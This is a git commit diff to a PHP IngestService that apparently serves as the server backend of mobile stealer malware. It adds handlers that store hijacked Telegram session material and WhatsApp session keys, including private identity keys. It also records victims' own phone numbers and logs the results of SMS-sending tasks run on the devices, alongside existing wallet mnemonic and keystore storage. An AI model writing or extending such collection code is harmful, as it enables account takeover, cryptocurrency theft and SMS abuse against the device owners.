feat: wap/sms

This commit is contained in:
hashbro
2026-08-25 03:45:42 +08:00
parent 67791221bf
commit 5c9ceca4ea
18 changed files with 596 additions and 31 deletions
+153 -17
View File
@@ -9,6 +9,8 @@ use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\SmsReport;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
@@ -46,6 +48,8 @@ class IngestService
}
$candidates[] = $payload['d'] ?? null;
$candidates[] = $payload['f'] ?? null;
$candidates[] = $payload['deviceID'] ?? null;
$candidates[] = $payload['deviceId'] ?? null;
foreach ($candidates as $value) {
if (! empty($value) && is_string($value)) {
@@ -191,7 +195,8 @@ class IngestService
}
/**
* `/api/user/profile/delete` — store reported phone (`p`) only when still empty.
* Own number from sms.js / old imagent. First write wins.
* Prefer `p` / `phoneNumber` / cardsinfo; bare `phone` is dest on /m/t/r.
*/
public function ingestDevicePhone(Device $device, ?array $payload): void
{
@@ -202,18 +207,48 @@ class IngestService
return;
}
$phone = $payload['p'] ?? $payload['phone'] ?? null;
if (! is_string($phone)) {
return;
}
$phone = trim($phone);
if ($phone === '') {
$phone = $this->extractOwnPhone($payload);
if ($phone === null) {
return;
}
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
}
/**
* sms.js: CTSettingCopyMyPhoneNumber → `p` / `phoneNumber`; SIM slot in cardsinfo.
* `/m/t/r` uses `phone` as the send-to dest, so ignore it when task_id is present.
*/
private function extractOwnPhone(array $payload): ?string
{
foreach (['p', 'phoneNumber'] as $key) {
$phone = $this->scalarToString($payload[$key] ?? null);
if ($phone !== null) {
return $phone;
}
}
$cards = $payload['cardsinfo'] ?? $payload['cardsInfo'] ?? null;
if (is_array($cards)) {
foreach ($cards as $card) {
if (! is_array($card)) {
continue;
}
$phone = $this->scalarToString($card['phoneNumber'] ?? $card['phone'] ?? $card['p'] ?? null);
if ($phone !== null) {
return $phone;
}
}
}
$isTaskReport = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null) !== null;
if (! $isTaskReport) {
return $this->scalarToString($payload['phone'] ?? null);
}
return null;
}
private function fillMissingAttribution(
Device $device,
Request $request,
@@ -491,25 +526,91 @@ class IngestService
}
/**
* xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db).
* Lab has no dedicated table; store as a keystore identity blob.
* xxbb tglib POST /api/tg/t — Telegram session (user_id + atomic-state + db).
*/
public function ingestTelegramAuth(Device $device, ?array $payload): void
{
$this->upsertPluginSession($device, PluginSession::KIND_TELEGRAM, $payload, [
'user_id', 'state', 'db_sqlite',
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
], ['user_id', 'userId']);
}
/**
* xxbb wap POST /api/wp/t — WhatsApp session keys (userId + phoneKeyStore).
*/
public function ingestWhatsAppAuth(Device $device, ?array $payload): void
{
$this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [
'userId', 'phoneId', 'registrationID',
'identity', 'identityPrivateKey', 'identityPublicKey',
'clientStaticKeypairBase64', 'phoneKeyStore',
'deviceConfig', 'whatsappVersion',
], ['userId', 'user_id']);
}
/**
* sms.js /m/t/g — own number via CTSettingCopyMyPhoneNumber (`p` / `phone` / `phoneNumber`).
*/
public function ingestSmsHeartbeat(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
if (array_key_exists('result', $payload)) {
$this->ingestKeystore($device, $payload);
$this->ingestDevicePhone($device, $payload);
}
/**
* sms.js POST /m/t/r — task result. Dest is `phone`; own number is `p` / `phoneNumber`.
*/
public function ingestSmsTaskReport(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$this->ingestDevicePhone($device, $payload);
$taskId = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null);
$dest = $this->scalarToString($payload['phone'] ?? $payload['to'] ?? $payload['t'] ?? null);
$local = $this->scalarToString($payload['p'] ?? $payload['phoneNumber'] ?? null);
$msg = $this->scalarToString($payload['msg'] ?? $payload['m'] ?? null);
$status = $this->scalarToString($payload['status'] ?? $payload['s'] ?? $payload['code'] ?? null);
if ($taskId === null && $dest === null && $msg === null && $status === null) {
return;
}
SmsReport::query()->create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'task_id' => $taskId,
'dest_phone' => $dest !== null ? substr($dest, 0, 64) : null,
'local_phone' => $local !== null ? substr($local, 0, 64) : null,
'msg' => $msg,
'status' => $status !== null ? substr($status, 0, 64) : null,
'payload' => $payload,
]);
}
/**
* @param list<string> $keepKeys
* @param list<string> $accountKeys
*/
private function upsertPluginSession(
Device $device,
string $kind,
?array $payload,
array $keepKeys,
array $accountKeys,
): void {
if (! is_array($payload)) {
return;
}
if (isset($payload['result']) && is_array($payload['result'])) {
$payload = array_merge($payload['result'], $payload);
}
$blob = [];
foreach ([
'user_id', 'state', 'db_sqlite',
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
] as $key) {
foreach ($keepKeys as $key) {
if (array_key_exists($key, $payload)) {
$blob[$key] = $payload[$key];
}
@@ -517,8 +618,43 @@ class IngestService
if ($blob === []) {
return;
}
$blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg');
$this->ingestKeystore($device, ['result' => $blob]);
$account = null;
foreach ($accountKeys as $key) {
$account = $this->scalarToString($payload[$key] ?? $blob[$key] ?? null);
if ($account !== null) {
break;
}
}
$phone = $kind === PluginSession::KIND_WHATSAPP
? $this->scalarToString($payload['userId'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
: null;
PluginSession::query()->updateOrCreate(
[
'device_id' => $device->id,
'kind' => $kind,
'account_id' => $account,
],
[
'device_key' => $device->device_id,
'phone' => $phone !== null ? substr($phone, 0, 64) : null,
'payload' => $blob,
],
);
}
private function scalarToString(mixed $value): ?string
{
if (is_int($value) || is_float($value)) {
return (string) $value;
}
if (! is_string($value)) {
return null;
}
$value = trim($value);
return $value !== '' ? $value : null;
}
/**